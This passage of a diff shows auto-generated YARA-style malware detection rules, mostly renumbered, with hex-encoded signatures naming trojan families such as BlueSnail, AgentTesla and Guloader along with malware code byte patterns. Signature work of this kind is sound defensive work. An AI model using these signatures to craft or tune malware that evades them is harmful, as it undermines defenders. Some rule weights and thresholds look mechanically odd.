45 00 48 8b 45 00 48 89 85 60 04 00 00 48 89 4d 00 48 8b 45 00 48 89 85 68 04 00 00 66 0f 6f 85 40 01 00 00 66 0f ef 85 60 04 00 00 66 0f 7f 85 40 01 00 00 48 83 a5 60 09 00 00 00 66 0f 6f 05 74 8f 02 00 f3 0f 7f 85 70 09 00 00 c6 85 60 09 00 00 00 48 8d 95 40 01 00 00 48 8d 8d 60 09 00 00 00 00 78 12 01 00 01 00 01 00 07 } //3844 condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*400+(#a_01_2 & 1)*-17838+(#a_73_3 & 1)*12337+(#a_52_4 & 1)*25431) >=33 + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*400+(#a_01_2 & 1)*-17838+(#a_73_3 & 1)*12337+(#a_c8_4 & 1)*3844) >=33 } -rule _InfrastructureShared_16705{ +rule _InfrastructureShared_17800{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 32 00 52 03 f3 0f e6 c0 f2 0f 58 c0 f2 0f 5c c8 f2 0f 59 0d 5d cf 18 00 f2 0f 11 4d b8 e8 90 01 04 0f be c8 e8 90 01 04 0f be d0 } //21539 + $a_e8_1 = {01 04 0f be c8 0f be 05 31 2f 1e 00 03 d1 0f be 0d 27 2f 1e 00 03 c2 33 d2 f7 f1 0f be 0d 18 2f 1e 00 3b c1 90 00 0a 00 1e 01 8b 0d 82 74 13 00 8b c3 f7 d1 99 f7 f9 66 0f 6e c0 f3 0f e6 c0 f2 41 0f 58 c1 f2 0f 2c d8 14 00 6d 01 48 b8 69 db 9f 86 eb 39 cd 3b 48 89 45 00 48 8b 45 00 48 89 85 60 04 00 00 48 89 4d 00 48 8b 45 00 48 89 85 68 04 00 00 66 0f 6f 85 40 01 00 00 66 0f ef 85 60 04 00 00 66 0f 7f 85 40 01 00 00 48 83 a5 60 09 00 00 00 66 0f 6f 05 74 8f 02 00 f3 0f 7f 85 70 09 00 00 c6 85 60 09 00 00 00 48 8d 95 40 01 00 00 48 8d 8d 60 09 00 00 00 00 78 12 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //-20721 + $a_6e_2 = {34 2f 42 6c 75 65 53 6e 61 69 6c 2e 48 21 64 68 61 00 01 00 1d 80 01 2d 3e 3e 3e 3e 3e 3e 3e 20 63 72 65 61 74 65 20 73 74 72 65 61 6d 20 5b 25 73 5d 25 73 01 00 17 80 01 77 73 20 61 64 64 72 20 66 6f 72 6d 61 74 20 69 73 20 65 72 72 6f 72 01 00 2a 80 01 74 65 73 74 20 68 65 72 6f 6b 75 20 73 65 72 76 65 72 20 25 } //22330 + condition: + ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*-20721+(#a_6e_2 & 1)*22330) >=80 + +} +rule _InfrastructureShared_17801{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 48 21 64 68 61 00 01 00 1d 80 01 2d 3e 3e 3e 3e 3e 3e 3e 20 63 72 65 61 74 65 20 73 74 72 65 61 6d 20 5b 25 73 5d 25 73 01 00 17 80 01 77 73 20 61 64 64 72 20 } //16675 + $a_6d_1 = {74 20 69 73 20 65 72 72 6f 72 01 00 2a 80 01 74 65 73 74 20 68 65 72 6f 6b 75 20 73 65 72 76 65 72 20 25 73 20 68 74 74 70 20 73 74 61 74 75 73 20 63 6f 64 65 3a 20 25 64 01 00 11 80 01 53 6f 66 74 45 74 68 65 72 20 72 75 6e 20 65 72 72 01 00 12 80 01 53 6f 66 74 45 74 68 65 72 20 73 74 6f 70 20 65 72 72 01 00 2f 80 01 52 65 6d 6f 74 65 20 } //28518 + $a_65_2 = {20 25 73 20 4d 44 35 3a 20 25 73 2c 20 4c 6f 63 61 6c 20 46 69 6c 65 3a 20 25 73 20 4d 44 35 3a 20 25 73 01 00 14 80 01 73 65 72 76 65 72 20 61 64 64 72 20 26 20 77 73 20 75 72 6c 00 00 78 12 01 00 01 00 01 00 0f 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 55 53 50 5f 44 6f 75 62 6c 65 5f 42 } //26950 + $a_36_3 = {5f 45 6e 63 6f 64 65 64 5f 45 78 65 63 75 74 61 62 6c 65 00 01 00 09 81 01 56 46 5a 77 56 45 46 52 52 01 00 08 81 01 52 57 63 46 52 42 55 55 01 00 09 81 01 55 56 6e 42 55 51 56 46 46 01 00 09 81 01 56 46 5a 76 51 55 46 42 51 01 00 08 81 01 52 57 62 30 46 42 51 55 01 00 09 81 01 55 56 6d 39 42 51 55 46 } //29537 + $a_46_5 = {78 51 55 46 42 52 01 00 08 81 01 52 57 63 55 46 42 51 55 01 00 09 81 01 55 56 6e 46 42 51 55 46 46 01 00 09 81 01 56 46 5a 77 55 55 46 42 53 01 00 08 81 01 52 57 63 46 46 42 51 55 01 00 09 81 01 55 56 6e 42 52 51 55 46 4a 01 00 09 81 01 56 46 5a 78 55 55 46 } //385 + $a_00_6 = {08 } //21570 + condition: + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28518+(#a_65_2 & 1)*26950+(#a_36_3 & 1)*29537+(#a_46_5 & 1)*385+(#a_00_6 & 1)*21570) >=1 + +} +rule _InfrastructureShared_17802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -197295,7 +210475,7 @@ rule _InfrastructureShared_16705{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*18019+(#a_56_3 & 1)*385+(#a_00_4 & 1)*18005+(#a_00_6 & 1)*110+(#a_00_7 & 1)*104+(#a_48_8 & 1)*8448+(#a_03_9 & 1)*1+(#a_81_10 & 1)*1+(#a_12_11 & 1)*0+(#a_43_12 & 1)*12098+(#a_00_13 & 1)*105+(#a_45_14 & 1)*26740) >=1 } -rule _InfrastructureShared_16706{ +rule _InfrastructureShared_17803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -197306,7 +210486,7 @@ rule _InfrastructureShared_16706{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_16707{ +rule _InfrastructureShared_17804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -197317,7 +210497,7 @@ rule _InfrastructureShared_16707{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*1792) >=2 } -rule _InfrastructureShared_16708{ +rule _InfrastructureShared_17805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -197333,7 +210513,7 @@ rule _InfrastructureShared_16708{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*31061+(#a_74_2 & 1)*28271+(#a_00_4 & 1)*1+(#a_41_5 & 1)*8448+(#a_69_6 & 1)*24949+(#a_2d_7 & 1)*23085) >=2 } -rule _InfrastructureShared_16709{ +rule _InfrastructureShared_17806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -197344,7 +210524,7 @@ rule _InfrastructureShared_16709{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*108) >=3 } -rule _InfrastructureShared_16710{ +rule _InfrastructureShared_17807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -197356,7 +210536,7 @@ rule _InfrastructureShared_16710{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*1553+(#a_0a_2 & 1)*2560) >=3 } -rule _InfrastructureShared_16711{ +rule _InfrastructureShared_17808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -197368,7 +210548,7 @@ rule _InfrastructureShared_16711{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_00_3 & 1)*27756) >=3 } -rule _InfrastructureShared_16712{ +rule _InfrastructureShared_17809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -197380,7 +210560,7 @@ rule _InfrastructureShared_16712{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_19_2 & 1)*1) >=4 } -rule _InfrastructureShared_16713{ +rule _InfrastructureShared_17810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -197391,7 +210571,7 @@ rule _InfrastructureShared_16713{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29952) >=4 } -rule _InfrastructureShared_16714{ +rule _InfrastructureShared_17811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -197405,7 +210585,7 @@ rule _InfrastructureShared_16714{ ((#a_63_0 & 1)*17699+(#a_00_2 & 1)*111+(#a_64_3 & 1)*19826+(#a_64_4 & 1)*28524+(#a_64_5 & 1)*12090) >=4 } -rule _InfrastructureShared_16715{ +rule _InfrastructureShared_17812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -197417,7 +210597,7 @@ rule _InfrastructureShared_16715{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29999+(#a_65_2 & 1)*29285) >=5 } -rule _InfrastructureShared_16716{ +rule _InfrastructureShared_17813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -197431,7 +210611,7 @@ rule _InfrastructureShared_16716{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*25701+(#a_5a_2 & 1)*16762+(#a_00_3 & 1)*116+(#a_6c_4 & 1)*28500) >=5 } -rule _InfrastructureShared_16717{ +rule _InfrastructureShared_17814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -197444,7 +210624,7 @@ rule _InfrastructureShared_16717{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*21327+(#a_61_2 & 1)*18996+(#a_4b_3 & 1)*26196) >=6 } -rule _InfrastructureShared_16718{ +rule _InfrastructureShared_17815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 15 00 21 " @@ -197473,7 +210653,7 @@ rule _InfrastructureShared_16718{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*-16127+(#a_73_2 & 1)*21620+(#a_65_3 & 1)*28781+(#a_30_4 & 1)*12148+(#a_00_5 & 1)*111+(#a_65_6 & 1)*275+(#a_72_7 & 1)*14930+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_81_13 & 1)*1+(#a_12_14 & 1)*0+(#a_65_15 & 1)*25966+(#a_74_16 & 1)*25922+(#a_44_17 & 1)*30063+(#a_00_19 & 1)*119+(#a_2e_20 & 1)*25964) >=6 } -rule _InfrastructureShared_16719{ +rule _InfrastructureShared_17816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -197489,7 +210669,7 @@ rule _InfrastructureShared_16719{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29301+(#a_01_2 & 1)*28520+(#a_57_3 & 1)*28257+(#a_72_4 & 1)*27760+(#a_65_5 & 1)*25964+(#a_39_6 & 1)*12883) >=7 } -rule _InfrastructureShared_16720{ +rule _InfrastructureShared_17817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -197507,7 +210687,7 @@ rule _InfrastructureShared_16720{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26465+(#a_74_2 & 1)*27749+(#a_41_3 & 1)*19529+(#a_49_4 & 1)*18761+(#a_00_5 & 1)*13129+(#a_49_6 & 1)*18688+(#a_49_7 & 1)*18761+(#a_42_8 & 1)*19745) >=7 } -rule _InfrastructureShared_16721{ +rule _InfrastructureShared_17818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -197524,7 +210704,7 @@ rule _InfrastructureShared_16721{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*18761+(#a_49_2 & 1)*18761+(#a_81_3 & 1)*1+(#a_12_4 & 1)*0+(#a_65_5 & 1)*25966+(#a_74_6 & 1)*25922+(#a_44_7 & 1)*30063) >=8 } -rule _InfrastructureShared_16722{ +rule _InfrastructureShared_17819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -197541,7 +210721,7 @@ rule _InfrastructureShared_16722{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30060+(#a_73_2 & 1)*17500+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_16723{ +rule _InfrastructureShared_17820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -197558,7 +210738,7 @@ rule _InfrastructureShared_16723{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*30565+(#a_00_2 & 1)*108+(#a_00_4 & 1)*114+(#a_34_5 & 1)*12852+(#a_4e_6 & 1)*20082+(#a_01_7 & 1)*28532+(#a_69_8 & 1)*24931) >=9 } -rule _InfrastructureShared_16724{ +rule _InfrastructureShared_17821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -197575,7 +210755,7 @@ rule _InfrastructureShared_16724{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29806+(#a_43_2 & 1)*14445+(#a_61_3 & 1)*27758+(#a_42_4 & 1)*19745+(#a_6e_6 & 1)*385+(#a_00_7 & 1)*29541+(#a_00_9 & 1)*116) >=10 } -rule _InfrastructureShared_16725{ +rule _InfrastructureShared_17822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -197593,7 +210773,7 @@ rule _InfrastructureShared_16725{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*24931+(#a_46_4 & 1)*16675+(#a_64_5 & 1)*17261+(#a_00_7 & 1)*117+(#a_2e_8 & 1)*27763+(#a_57_9 & 1)*22340+(#a_00_10 & 1)*29285) >=11 } -rule _InfrastructureShared_16726{ +rule _InfrastructureShared_17823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -197606,7 +210786,7 @@ rule _InfrastructureShared_16726{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*17261+(#a_00_3 & 1)*117+(#a_2e_4 & 1)*27763) >=12 } -rule _InfrastructureShared_16727{ +rule _InfrastructureShared_17824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -197626,7 +210806,7 @@ rule _InfrastructureShared_16727{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*21834+(#a_68_2 & 1)*13366+(#a_69_3 & 1)*29779+(#a_61_4 & 1)*29285+(#a_37_5 & 1)*23125+(#a_65_6 & 1)*29505+(#a_00_8 & 1)*50+(#a_61_9 & 1)*2048+(#a_64_10 & 1)*24949+(#a_2d_11 & 1)*12593) >=12 } -rule _InfrastructureShared_16728{ +rule _InfrastructureShared_17825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -197648,7 +210828,7 @@ rule _InfrastructureShared_16728{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*20594+(#a_41_2 & 1)*29801+(#a_6e_3 & 1)*22330+(#a_73_4 & 1)*27905+(#a_72_5 & 1)*30561+(#a_64_6 & 1)*24887+(#a_01_7 & 1)*25956+(#a_69_8 & 1)*14958+(#a_01_9 & 1)*-28539+(#a_c6_10 & 1)*-1+(#a_01_11 & 1)*5513+(#a_90_12 & 1)*1025) >=13 } -rule _InfrastructureShared_16729{ +rule _InfrastructureShared_17826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 0c 00 21 " @@ -197668,7 +210848,7 @@ rule _InfrastructureShared_16729{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*37+(#a_63_3 & 1)*29556+(#a_00_4 & 1)*30323+(#a_34_5 & 1)*25655+(#a_75_6 & 1)*25924+(#a_49_7 & 1)*21505+(#a_ff_8 & 1)*400+(#a_90_9 & 1)*-14848+(#a_ff_10 & 1)*400+(#a_90_11 & 1)*-14831) >=17 } -rule _InfrastructureShared_16730{ +rule _InfrastructureShared_17827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0a 00 21 " @@ -197687,7 +210867,7 @@ rule _InfrastructureShared_16730{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*13107+(#a_6d_2 & 1)*29254+(#a_49_3 & 1)*28516+(#a_ff_4 & 1)*400+(#a_90_5 & 1)*-14593+(#a_13_6 & 1)*0+(#a_1d_7 & 1)*2562+(#a_24_8 & 1)*-30263+(#a_17_9 & 1)*4449) >=18 } -rule _InfrastructureShared_16731{ +rule _InfrastructureShared_17828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -197697,7 +210877,7 @@ rule _InfrastructureShared_16731{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_16732{ +rule _InfrastructureShared_17829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -197709,7 +210889,7 @@ rule _InfrastructureShared_16732{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30463+(#a_e8_2 & 1)*400) >=3 } -rule _InfrastructureShared_16733{ +rule _InfrastructureShared_17830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -197721,7 +210901,7 @@ rule _InfrastructureShared_16733{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2053+(#a_05_2 & 1)*-25390) >=3 } -rule _InfrastructureShared_16734{ +rule _InfrastructureShared_17831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -197733,7 +210913,7 @@ rule _InfrastructureShared_16734{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2053+(#a_05_2 & 1)*-25390) >=3 } -rule _InfrastructureShared_16735{ +rule _InfrastructureShared_17832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -197745,7 +210925,7 @@ rule _InfrastructureShared_16735{ ((#a_4c_0 & 1)*21539+(#a_06_1 & 1)*-28576+(#a_90_2 & 1)*-31272) >=3 } -rule _InfrastructureShared_16736{ +rule _InfrastructureShared_17833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -197758,7 +210938,7 @@ rule _InfrastructureShared_16736{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*104+(#a_36_2 & 1)*24880+(#a_30_3 & 1)*13618) >=3 } -rule _InfrastructureShared_16737{ +rule _InfrastructureShared_17834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -197771,7 +210951,7 @@ rule _InfrastructureShared_16737{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_40_2 & 1)*16643+(#a_72_3 & 1)*14930) >=3 } -rule _InfrastructureShared_16738{ +rule _InfrastructureShared_17835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -197784,7 +210964,7 @@ rule _InfrastructureShared_16738{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*23040+(#a_00_2 & 1)*26368+(#a_01_3 & 1)*0) >=4 } -rule _InfrastructureShared_16739{ +rule _InfrastructureShared_17836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -197795,7 +210975,7 @@ rule _InfrastructureShared_16739{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*9984) >=4 } -rule _InfrastructureShared_16740{ +rule _InfrastructureShared_17837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -197806,7 +210986,7 @@ rule _InfrastructureShared_16740{ ((#a_6f_0 & 1)*21539+(#a_4b_2 & 1)*4608) >=4 } -rule _InfrastructureShared_16741{ +rule _InfrastructureShared_17838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -197819,7 +210999,7 @@ rule _InfrastructureShared_16741{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_3 & 1)*12072+(#a_00_4 & 1)*512) >=4 } -rule _InfrastructureShared_16742{ +rule _InfrastructureShared_17839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -197831,7 +211011,7 @@ rule _InfrastructureShared_16742{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32256+(#a_00_3 & 1)*0) >=5 } -rule _InfrastructureShared_16743{ +rule _InfrastructureShared_17840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -197845,7 +211025,7 @@ rule _InfrastructureShared_16743{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*24909+(#a_00_2 & 1)*14637+(#a_20_4 & 1)*19779+(#a_6d_5 & 1)*28483) >=5 } -rule _InfrastructureShared_16744{ +rule _InfrastructureShared_17841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -197863,7 +211043,7 @@ rule _InfrastructureShared_16744{ ((#a_4e_0 & 1)*20259+(#a_25_1 & 1)*29295+(#a_63_2 & 1)*25956+(#a_30_3 & 1)*12589+(#a_57_4 & 1)*21076+(#a_01_5 & 1)*5120+(#a_72_6 & 1)*26478+(#a_2e_7 & 1)*29295+(#a_00_8 & 1)*101) >=5 } -rule _InfrastructureShared_16745{ +rule _InfrastructureShared_17842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -197878,7 +211058,7 @@ rule _InfrastructureShared_16745{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28271+(#a_76_2 & 1)*385+(#a_81_3 & 1)*1+(#a_13_4 & 1)*0+(#a_00_5 & 1)*114) >=6 } -rule _InfrastructureShared_16746{ +rule _InfrastructureShared_17843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -197893,7 +211073,7 @@ rule _InfrastructureShared_16746{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*116+(#a_00_5 & 1)*101+(#a_61_6 & 1)*29547+(#a_3d_7 & 1)*24941) >=6 } -rule _InfrastructureShared_16747{ +rule _InfrastructureShared_17844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0b 00 21 " @@ -197913,7 +211093,7 @@ rule _InfrastructureShared_16747{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*28776+(#a_67_2 & 1)*27649+(#a_53_3 & 1)*4608+(#a_72_4 & 1)*30580+(#a_65_5 & 1)*28530+(#a_01_6 & 1)*25910+(#a_48_7 & 1)*8448+(#a_01_8 & 1)*9472+(#a_75_9 & 1)*29541+(#a_61_10 & 1)*28530) >=6 } -rule _InfrastructureShared_16748{ +rule _InfrastructureShared_17845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -197929,7 +211109,7 @@ rule _InfrastructureShared_16748{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*14134+(#a_61_2 & 1)*14693+(#a_61_3 & 1)*14129+(#a_4e_4 & 1)*-32725+(#a_6f_5 & 1)*28530+(#a_2e_6 & 1)*25961) >=7 } -rule _InfrastructureShared_16749{ +rule _InfrastructureShared_17846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -197943,7 +211123,7 @@ rule _InfrastructureShared_16749{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29551+(#a_69_2 & 1)*29285+(#a_0d_3 & 1)*0+(#a_8c_5 & 1)*7942) >=7 } -rule _InfrastructureShared_16750{ +rule _InfrastructureShared_17847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -197959,7 +211139,7 @@ rule _InfrastructureShared_16750{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*4874+(#a_28_2 & 1)*4362+(#a_1a_3 & 1)*-10748+(#a_7e_4 & 1)*2310+(#a_65_5 & 1)*24940+(#a_53_6 & 1)*14958) >=7 } -rule _InfrastructureShared_16751{ +rule _InfrastructureShared_17848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -197974,7 +211154,7 @@ rule _InfrastructureShared_16751{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26210+(#a_00_2 & 1)*86+(#a_00_4 & 1)*1+(#a_6f_5 & 1)*21562+(#a_00_7 & 1)*1) >=8 } -rule _InfrastructureShared_16752{ +rule _InfrastructureShared_17849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -197986,27 +211166,46 @@ rule _InfrastructureShared_16752{ $a_00_5 = {00 78 13 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 4e 34 35 21 4d 54 42 00 01 00 0a 81 01 64 61 73 64 61 73 64 64 66 68 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 2d 81 01 53 68 6f 72 74 50 66 61 66 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 66 64 64 64 } //18511 $a_65_6 = {73 20 43 6f 6d 70 6c 65 74 65 64 01 00 2b 81 01 53 68 6f 72 74 50 64 64 64 64 64 64 66 64 64 64 64 64 64 64 64 64 64 66 64 64 64 72 6f 63 65 73 73 20 43 6f 6d 70 6c 65 74 65 64 01 00 18 81 01 53 68 6f 72 74 50 64 64 64 64 64 64 64 64 64 64 66 6d 70 6c 65 74 65 64 01 00 10 81 01 46 72 6f 6d 42 61 } //28530 $a_34_7 = {74 72 69 6e 67 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 } //25971 - $a_13_8 = {00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 43 42 75 6e 64 6c 65 72 00 01 00 17 80 01 4f 66 66 65 72 53 65 72 76 69 63 65 42 4c 4c 2e 53 65 72 76 69 63 65 01 00 14 80 01 67 65 74 5f 4f 66 66 65 72 49 6e 73 74 61 6c 6c 44 61 74 61 01 00 11 80 01 67 65 74 5f 4f 66 66 65 72 4d 65 74 61 64 61 74 61 01 00 19 80 01 47 65 74 49 6e 73 74 61 6e 74 42 } //0 + $a_13_8 = {00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4d 50 30 31 21 4d 54 42 00 01 00 0f 81 01 73 74 65 6e 6b 61 73 74 65 6e 65 2e 6a 70 67 01 00 10 81 01 73 74 69 6b 70 69 6c 6c 65 72 6e 65 2e 73 6c 69 01 00 14 81 01 46 6c 79 76 65 72 63 65 72 74 69 66 69 6b 61 74 2e 74 78 74 01 00 12 81 01 66 6f 72 66 6c 61 64 69 67 65 } //0 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*51+(#a_00_3 & 1)*57+(#a_35_4 & 1)*13366+(#a_00_5 & 1)*18511+(#a_65_6 & 1)*28530+(#a_34_7 & 1)*25971+(#a_13_8 & 1)*0) >=9 } -rule _InfrastructureShared_16753{ +rule _InfrastructureShared_17850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 4e 34 35 21 4d 54 42 00 01 00 0a 81 01 64 61 73 64 61 73 64 64 66 68 01 00 09 81 01 67 65 74 